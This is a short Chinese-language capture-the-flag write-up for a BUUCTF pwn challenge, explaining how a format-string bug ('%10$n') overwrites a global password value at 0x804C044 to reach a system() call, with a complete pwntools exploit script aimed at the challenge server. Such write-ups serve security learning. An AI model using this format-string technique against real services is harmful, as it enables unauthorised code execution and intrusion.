题目:
看一下版本和保护机制:
有canary,栈溢出无望。
IDA看看:
第一眼就看到了'system',看一下条件,这里的atoi函数指的是把字符串转换成整数,而'nptr'就是输入的'passwd',再看看另外一个'dword_804C044'表示这个'0x804C044'地址,那意思就是如果输入的'passwd'的值与'dword_804C044'相等就行了,那就改写一下'0x804C044'的值。
不过再看一眼,上面写了一行代码,就是:
read(fd, &dword_804C044, 4u);
这个表示从上面的文件中读取4个字节的字符,并将读取的数据存储到 'dword_804C044
'指向的内存位置中。而且这里还有两个输入,那就可以一开始就打包发送这个地址,让它的值变成4,然后第二次再输入4就可以了,不过要先看看偏移量:
数了一下,偏移量为10。
exp:
from pwn import *
context.log_level = 'debug'
#r = process('./pwn') #本地
r = remote("node4.buuoj.cn",25015) #远程
r.recvuntil("your name:")
payload1 = p32(0x804C044) + b'%10$n'
r.sendline(payload1)
r.recvuntil("your passwd:")
payload2 = '4'
r.sendline(payload2)
r.interactive()